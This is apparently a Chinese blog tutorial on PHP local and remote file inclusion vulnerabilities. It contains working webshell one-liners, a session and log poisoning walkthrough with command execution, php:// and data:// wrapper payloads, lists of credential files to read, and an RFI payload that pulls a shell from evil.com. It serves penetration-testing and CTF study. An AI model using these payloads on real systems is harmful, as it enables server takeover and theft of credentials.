FI文件包含漏洞

本地文件包含(LFI)

文件包含

开发人员将可重复使用的内容写到单个文件中,使用时直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。

这样编写代码能减少代码冗余,降低代码后期维护难度,保证网站整体风格统一。

比如:导航栏、底部栏等。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>文件包含案例</title>
  </head>
  <body>
    <h2><a href="test.php">Ryan</a></h2>
    <a href="./test.php?file=about.php">About Me</a>
    <p>
      <?php
      if(isset($_GET['file'])){
      $file = $_GET['file'];
      include $file;
      }
      ?>
    </p>
  </body>
</html>

文件包含漏洞

  • 开发人员希望代码更加灵活,有时会将包含的文件设置为变量,用来动态调用,由于这种灵活性,可能导致攻击者调用恶意文件,造成文件包含漏洞
  • 发生在 Web 应用允许用户通过输入路径加载服务器上的文件,而没有对输入路径进行严格限制,从而导致攻击者可以加载任意文件。
  • 一般出现在PHP Web应用中居多,在JSP、ASP程序中少
  • PHP 四个文件包含的函数:
    • include:出现错误时,会抛出一个警告,程序继续运行。
      • 继续执行是指会继续执行后面的语句
    • include_once:出现错误时,会抛出警告,且仅包含一次。
      • 如果上面已有同类语句成功地执行时,那么该类语句就不会执行了
    • require:出现错误时,会直接报错并退出程序执行。
    • require_once:出错时直接退出;且仅包含一次。
  • PHP 文件包含的特性
    • 只要被包含文件的文件内容符合PHP语法,不管文件类型是什么,该文件都会被php解释器去解析执行;如果文件内容不符合PHP语法,就会将该文件内容读取出来。

漏洞利用思路

包含一些敏感的配置文件,获取目标敏感信息

利用文件上传漏洞-图片马

<?php
  fwrite(fopen("shell.php","w"),'<?php eval($_POST['tsest']);?>');
?>
  • 创建一个 png 后缀图片文件,写入上面的代码,上传到网站上,获得对应的文件路径(如果给的话)
  • 找到存在本地文件包含的网页,比如
<?php
  $file = $_GET['page'];
?>
  • 这里只展示了部分(可能后续网页会把 file 变量包含,因此可以利用文件包含)
  • 然后我们就去该网页,访问我们刚刚上传的图片 Webshell
  • 构造 url
?page=../../对应的文件.png

包含临时文件getshell

  • php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。
  • 需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的件名
  • 另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

包含session文件getshell

  • session 文件是一种用来存储会话数据的文件,通常由服务器在支持会话管理的环境中自动生成并管理。这些文件的目的是记录用户的状态信息,支持在多个请求间保持会话(Session)的持续性。
  • 前提:找到Session内的可控变量,Session文件可读写,并且知道存储路径
  • php的session文件的保存路径可以在phpinfo的session.save_path 找到
    • 常见储存地址
      • /var/lib/php/sess_PHPSESSID
      • /tmp/sess_PHPSESSID
      • /tmp/sessions/sess_PHPSESSID
    • session 的文件格式:sess_[phpsessid]
      • 而phpsessid在发送的请求的cookie字段中可以看到。
    • 方法:
      • 访问目标站点中任何调用 session_start() 的页面
      • 发送一个 HTTP 请求,设置 $_SESSION 数据。
        • 具体就是:使用 bp 把请求包抓下来,然后修改请求包,发送
POST /page.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=abcd1234efgh5678ijkl9012mnop3456
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

data=<?php system($_GET['cmd']); ?>
        • 找到有文件包含漏洞的网页,加载我们注入了漏洞的会话文件,然后访问 url
?page=/tmp/sess_abcd1234efgh5678ijkl9012mnop3456&cmd=id
        • 如果成功,可能会返回
uid=33(www-data) gid=33(www-data) groups=33(www-data)
      • 拓展,如果要返回其他的敏感信息,就需要执行其他的 cmd 命令 了

包含日志文件getshell(Apache等)

  • 当网页没有文件上传的功能的时候,可以通过包含 Apache 日志文件
  • 前提 :日志文件可读,知道日志的存放目录
  • 原理:用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log
  • 方法:
    • 首先,构造 url 并访问
127.0.0.1<?php phpinfo();?>

此请求的内容会被写入 Apache 的日志文件中。

    • 请求的内容可能会被编码,如下图
      • 使用 bp 抓包
      • 把被编码的重新还原,发包
      • 成功还原
    • 然后,在已知日志目录的情况下,再次构造 url,使用文件包含漏洞,文件就是我们的日志
?test=日志路径
    • 只要在第一步构造 url 的时候写入一句话木马,就可以渗透了

php 伪协议

CTF中经常使用的是php://filterphp://input

php://input
  • 功能:读取 HTTP 请求体的数据(原始输入)。
  • 用法:适用于文件包含漏洞中直接执行恶意代码。
  • 示例:
include('php://input');

攻击者可以通过发送包含 PHP 代码的 POST 请求来执行代码:

POST /vulnerable.php HTTP/1.1
Host: example.com

<?php phpinfo(); ?>

结果:上述 PHP 代码将被目标服务器执行。

php://filter
  • 功能:对文件内容应用流过滤器,常用于读取文件的原始内容(例如 Base64 编码输出)。
  • 用法:
include('php://filter/convert.base64-encode/resource=php文件路径');
    • 访问
?test=php://filter/convert.base64-encode/resource=文件路径
    • 文件路径 的内容编码为 Base64。
    • 攻击者可以解码输出以读取文件内容。
  • 示例:
?file=php://filter/convert.base64-encode/resource=/etc/passwd

如果返回的是 Base64 编码内容,攻击者可以解码得到 /etc/passwd 文件的内容。

  • 功能:读取本地文件的内容(默认行为)。
  • 用法:用于访问目标服务器上的敏感文件,例如:
?file=file:///etc/passwd
    • 加载本地文件 /etc/passwd
data://
  • 功能:直接在 URL 中嵌入数据内容并解释为文件内容,甚至可以嵌入可执行代码。
  • 用法:
include('data://text/plain;base64,' . base64_encode('<?php phpinfo(); ?>'));
    • 解释 Base64 编码后的内容为 PHP 代码并执行。
  • 攻击示例:
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8=

结果:Base64 解码后执行 <?php phpinfo(); ?>

zip://
  • 功能:读取 ZIP 压缩文件中的内容。
  • 用法:
include('zip://path/to/file.zip#filename.php');
    • 攻击者可能上传一个恶意 ZIP 文件,并通过包含漏洞解压执行其中的 PHP 文件。
phar://
  • 功能:用于访问 PHAR (PHP 存档文件) 格式文件的内容,适用于加载恶意的序列化对象。
  • 用法:
include('phar://path/to/malicious.phar');
    • 如果应用程序对反序列化操作存在漏洞,攻击者可以通过包含恶意的 PHAR 文件实现远程代码执行(RCE)。

漏洞利用实操

同级目录文件包含

先手工模拟创建一个目标文件,取名 LFI.php 吧

<?php
  include $_GET['test'];
?>

在目标文件的同一文件夹下,再创建一个包含文件,取名 phpinfo.php 吧

<?php
  phpinfo();
?>

然后就可以来通过本地文件包含来访问我们的包含文件了

事实上,一般目标文件时网站自带的,而包含文件就是我们恶意上传的文件

值得一提的是,当我们把文件名后缀改成 txt,再进行访问,也是可以解析成 php 文件的(只要有 php 代码就可以解析为 php 文件)

于是,如果网站存在文件包含漏洞的话,那我们就可以同时利用文件上传漏洞,可以绕过后缀名判断(除非网站的采用了内容检查)

绝对路径文件包含

创建 LFI.php 的代码同上,主要是访问的 url 变了

<?php
  include $_GET['test'];
?>
?test=C:\Windows\system.ini

这就是越权访问系统的敏感文件了

相对路径文件包含

./表示当前位置路径,../表示上一级路径位置,linux中同样适用。

例如当前页面所在路径为C:\phpStudy\PHPTutorial\WWW\LFI\LFI.php,我们可以使用../退到上一级目录,就可以访问上一级目录的 phpinfo.php 了(记得现在上一级目录创建包含文件),构造路径如下:

../phpinfo.php

敏感文件路径

Windows 配置文件

  • C:\Windows\win.ini
    包含一些系统初始配置参数。
  • C:\Windows\System32\drivers\etc\hosts
    本地 DNS 解析文件,可能被用于攻击者的网络流量重定向。
  • C:\Windows\System32\config\SAM
    包含用户账号和密码的哈希值(需权限)。
  • C:\Windows\System32\config\system
    注册表配置文件。

桌面文件

  • C:\Users\<用户名>\Desktop
    用户桌面的文件目录,可能包含个人数据或敏感信息。

文档目录

  • C:\Users\<用户名>\Documents
    常用于保存重要文档。

下载目录

  • C:\Users\<用户名>\Downloads
    存储用户下载的文件,可能包含软件安装包、凭据等。
  • C:\Windows\System32\LogFiles
    系统或应用程序的日志文件路径。
  • C:\Windows\System32\winevt\Logs
    Windows 事件日志,记录用户活动、系统事件等。

存储系统运行和错误信息:

  • C:\Windows\System32\LogFiles
    系统或应用程序的日志文件路径。
  • C:\Windows\System32\winevt\Logs
    Windows 事件日志,记录用户活动、系统事件等。

IIS 日志文件(若运行 Web 服务)

  • 默认路径:C:\inetpub\logs\LogFiles
    包含网站访问记录,可用于分析攻击路径。
  • C:\Windows\System32\inetsrv\MetaBase.xml

包括网站配置、虚拟目录、权限、安全设置等

数据库文件

  • 常见路径:C:\Program Files\MySQL\data
    数据库数据文件存储目录(具体路径视应用配置)。
  • C:\Program Files\MySQL\my.ini

包含 MySQL 的启动参数和运行配置,例如端口号、数据文件路径、日志存储路径等

  • C:\Program Files\MySQL\data\mysql\user.MYD

存储了用户账户信息,与权限管理直接相关。

配置文件

  • Apache 配置:C:\xampp\apache\conf\httpd.conf
    包含 Apache 服务器的配置细节。
  • PHP 配置:C:\xampp\php\php.ini
    包含 PHP 的运行参数(如禁用函数列表、上传限制等)。

备份文件

  • C:\BackupC:\System Volume Information
    系统恢复点和备份文件夹。

环境变量文件

  • 通过加载 C:\Windows\System32\cmd.exe 获取敏感的环境变量。

Linux 配置文件

1. 系统认证与用户信息

文件路径

用途

/etc/passwd

存储系统用户信息,但不会包含密码哈希。

/etc/shadow

存储用户密码的哈希值,只有 root 用户可以读取。

/etc/group

存储用户组信息。

/etc/sudoers

定义哪些用户可以通过 sudo提权执行命令。

2. SSH 与网络服务

文件路径

用途

/etc/ssh/ssh_config

SSH 客户端配置文件。

/etc/ssh/sshd_config

SSH 服务端配置文件,包含允许的用户、端口号等。

~/.ssh/authorized_keys

当前用户允许的 SSH 公钥,用于无密码登录。

~/.ssh/id_rsa

当前用户的 SSH 私钥,泄露后攻击者可以远程登录。

/var/log/auth.log

记录身份验证相关日志(如 SSH 登录失败)。

3. 配置与服务管理

文件路径

用途

/etc/hosts

本地 DNS 配置,用于域名解析。

/etc/resolv.conf

配置系统使用的 DNS 服务器。

/etc/hostname

系统的主机名设置。

/etc/fstab

定义文件系统挂载点信息。

/etc/crontab

系统定时任务配置文件,可能包含敏感任务或脚本路径。

4. 日志文件

文件路径

用途

/var/log/syslog

记录系统日志,包括服务状态、错误等信息。

/var/log/messages

包含内核和服务的日志信息(部分 Linux 发行版)。

/var/log/auth.log

记录身份验证相关日志(如 SSH 登录失败)。

/var/log/secure

类似于 auth.log,在 CentOS 和 RHEL 系列中使用。

5. 应用与数据库

文件路径

用途

/etc/mysql/my.cnf

MySQL 的配置文件,可能包含 root 密码。

/var/lib/mysql/mysql/user.MYD

存储 MySQL 用户数据的文件(仅在使用 MyISAM 存储引擎时)。

/etc/nginx/nginx.conf

Nginx 的主配置文件,可能泄露反向代理或路径信息。

/etc/httpd/conf/httpd.conf

Apache 的主配置文件,可能包含敏感虚拟主机配置。

6. 内核与进程信息

文件路径

用途

/proc/<pid>/cmdline

显示进程启动时的命令行参数,可能泄露敏感信息

/proc/<pid>/environ

显示进程的环境变量,可能包含密钥或凭据。

/proc/kcore

系统内存的虚拟文件,可用于内核调试,但读取可能导致性能问题。

远程文件包含(RFI)

如果应用程序的配置还允许包含远程的其它服务器上的文件,恶意攻击者就有可能构造恶意的脚本然后通过包含并予以执行,进而获取WEB应用的敏感数据或控制权,这种方式称为远程文件包含。

  • 前提:allow_url_fopen=On(默认开启)并且allow_url_include=On(默认关闭),可在\phpstudy\PHPTutorial\php\php-5.2.17\php.ini中配置。
  • 这里与 LFI 不同的是,本地文件包含需要我们想办法去获取目标服务器的文件系统,而 RFI 只是需要通过我们自己本地的文件系统操作。当然前提是得先找到目标服务器里存在文件包含的页面
  • 构造 payload 如下
http://example.com/vulnerable.php?file=http://evil.com/shell.txt

shell.txt 里面的就是我们的一句话木马

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值